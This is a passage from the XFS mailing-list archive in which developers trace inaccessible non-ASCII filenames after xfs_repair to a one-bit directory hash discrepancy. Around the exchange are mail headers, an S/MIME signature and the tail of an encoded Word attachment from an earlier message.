AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAAAgAAAAMAAAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAA AA8AAAAQAAAAEQAAABIAAAATAAAAFAAAAP7///8WAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAA HQAAAB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAA/v///ycAAAAoAAAAKQAAACoAAAAr AAAALAAAAC0AAAD+////LwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAAP7////9////OAAAAP7/ ///+/////v////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAWAAUB//////////8DAAAABgkCAAAAAADAAAAAAAAARgAAAAAAAAAAAAAAAHD/39Vw Ec8BOgAAAIAAAAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgH/////BQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAVAAAAPiEAAAAAAABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQEAAAD//////////wAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuKAAAAAAAAAUAUwB1AG0AbQBhAHIA eQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBAgAA AAQAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJgAAAAAQAAAAAAAA BQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAA AAAAAAAAADgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAuAAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///// //////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB AAAA/v////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////wEA /v8DCgAA/////wYJAgAAAAAAwAAAAAAAAEYgAAAAxO7q8+zl7fIgTWljcm9zb2Z0IFdvcmQgOTct MjAwMwAKAAAATVNXb3JkRG9jABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_123D_01CF119C.06418000-- From david@fromorbit.com Tue Jan 14 19:54:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 27D9F29DF8 for ; Tue, 14 Jan 2014 19:54:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E4BA58F8040 for ; Tue, 14 Jan 2014 17:54:37 -0800 (PST) X-ASG-Debug-ID: 1389750875-04bdf00fe06dbef0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 0Dx1iyp5B5AFhjKe for ; Tue, 14 Jan 2014 17:54:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmcKAArq1VJ5LKVw/2dsb2JhbABagwuDOlKyHYVZgREXdIIlAQEBAwEjDwEjIwULCAMOCgICBSECAg8FJQMhE4d8B6hMm3QXFoETjV4Hgm+BSASYHYpMh0qDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail05.adl6.internode.on.net with ESMTP; 15 Jan 2014 12:24:09 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W3Ffy-0007fZ-SE; Wed, 15 Jan 2014 12:53:50 +1100 Date: Wed, 15 Jan 2014 12:53:50 +1100 From: Dave Chinner To: Zachary Kotlarek Cc: xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Message-ID: <20140115015350.GR3469@dastard> X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1389750875 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144095 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jan 13, 2014 at 07:12:07PM -0800, Zachary Kotlarek wrote: > > On Jan 13, 2014, at 6:24 PM, Dave Chinner wrote: > > >> Got one. bu[9] is the file that doesn’t work: > > ..... > >> bu[9].inumber = 68719478814 > >> bu[9].namelen = 26 > >> bu[9].name = "07 - Se\303\261or Macho Solo.m4v" > >> bu[9].tag = 0x130 > > > > That looks completely valid. It's a utf-8 encoded directory entry. > > It doesn't look like there's any corruption on disk here. > > > > The ls -l output full of ???? usually means the stat of the inode > > the dirent pointed to, so that implies that the stat has failed. > > So, what does and strace of the 'ls -l' of that directory tell you > > about the directory entry that is returned to userspace? > > It just returns ENOENT: > stat("/mnt/media/TV/30 Rock/Season 3/07 - Señor Macho Solo.m4v", 0x15990f0) = -1 ENOENT (No such file or directory) > lstat("/mnt/media/TV/30 Rock/Season 3/07 - Señor Macho Solo.m4v", 0x15990f0) = -1 ENOENT (No such file or directory) Ok, so it's a lookup failure. > >> bleaf[5].hashval = 0x16d07074 > >> bleaf[5].address = 0x26 > > > > That's the hash entry in the directory for the name. That may be > > wrong, I guess. can you create another file with the same name > > in a different directory so we can check that the hash is correct? > > bu[16].inumber = 9255716888 > bu[16].namelen = 26 > bu[16].name = "07 - Se\303\261or Macho Solo.m4v" > bu[16].tag = 0x1d8 > > I don’t understand how to find the right bleaf, but 0x16d07074 doesn’t appear in any of the hashvals for that directory: Pretty simple - the leaf[].address is simply a compressed offset into the leaf. all dirents are 8 byte aligned, and the tag is the byte offset into the leaf dirent space. Hence: leaf[].address = bu[16].tag >> 3 = 0x1d8 >> 3 = 0x3b = bleaf[3].address > bleaf[3].hashval = 0x16d0707c > bleaf[3].address = 0x3b And there were are - there's a single bit discrepancy in the lower byte of the hash. That tends to imply we have a bug in xfs_repair. What version of xfs_repair did you use? (xfs_repair -V) Cheers, Dave. -- Dave Chinner david@fromorbit.com From zach@kotlarek.com Tue Jan 14 19:59:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EBD537F3F for ; Tue, 14 Jan 2014 19:59:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D803AC006 for ; Tue, 14 Jan 2014 17:59:29 -0800 (PST) X-ASG-Debug-ID: 1389751167-04cbb04166dd7db0001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id ZUCnMP5kJQBNyW8M (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 14 Jan 2014 17:59:28 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from archer.uberzach.com (unknown [IPv6:2602:3f:e50d:7605:60c:ceff:fed3:ff7e]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id AB38B58013 for ; Tue, 14 Jan 2014 17:59:26 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389751167; bh=zKts3k8xUO8/tQUUDx2jk2/IhqcUck739MqvMOgQMwQ=; h=From:Content-Type:Message-Id:Mime-Version:Subject:Date:References: To:In-Reply-To; b=Te6F+q37zOBGbbLlx9OJx2Aa6J28vj6TRuOxpDfXd+ZhgXxxp5t6SjwO73BalG6EF 2e6E1vV9G6vks4wVkeQiPJWGj8gStY+Fn/sjEJ9VbzBSynPC9Lfl3pCun8+v1MWrf2 CVb2jXcf140dM+Etpji0thDMO7Uye6aAvH8QmqSg= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_23ED5300-B99D-4686-A019-0897B02DA1CE"; protocol="application/pkcs7-signature"; micalg=sha1 Message-Id: <61E74CEF-8244-4E90-BA7D-91D54DADC3C1@kotlarek.com> Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Files with non-ASCII names inaccessible after xfs_repair Date: Tue, 14 Jan 2014 17:59:23 -0800 X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair References: <52D2E358.6070106@hardwarefreak.com> <20140113015007.GC3469@dastard> <20140113031947.GG3469@dastard> <20140113192732.GI3469@dastard> <0E45339E-04C4-4775-B6B0-FC55245B0AED@kotlarek.com> <20140114022414.GM3469@dastard> <20140115015350.GR3469@dastard> To: xfs@oss.sgi.com In-Reply-To: <20140115015350.GR3469@dastard> X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389751167 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144095 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_23ED5300-B99D-4686-A019-0897B02DA1CE Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On Jan 14, 2014, at 5:53 PM, Dave Chinner wrote: > Pretty simple - the leaf[].address is simply a compressed offset > into the leaf. all dirents are 8 byte aligned, and the tag is the > byte offset into the leaf dirent space. Hence: >=20 > leaf[].address =3D bu[16].tag >> 3 > =3D 0x1d8 >> 3 > =3D 0x3b > =3D bleaf[3].address >=20 >> bleaf[3].hashval =3D 0x16d0707c >> bleaf[3].address =3D 0x3b >=20 > And there were are - there's a single bit discrepancy in the lower > byte of the hash. That tends to imply we have a bug in xfs_repair. >=20 > What version of xfs_repair did you use? (xfs_repair -V) 3.1.11. I=92m happy to build from git if you suspect something has changed since = then. Zach --Apple-Mail=_23ED5300-B99D-4686-A019-0897B02DA1CE Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 QMkwEM6YpAAAAAAAAA== --Apple-Mail=_23ED5300-B99D-4686-A019-0897B02DA1CE-- From david@fromorbit.com Tue Jan 14 21:48:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 951737F3F for ; Tue, 14 Jan 2014 21:48:12 -0600 (CST) Received: from 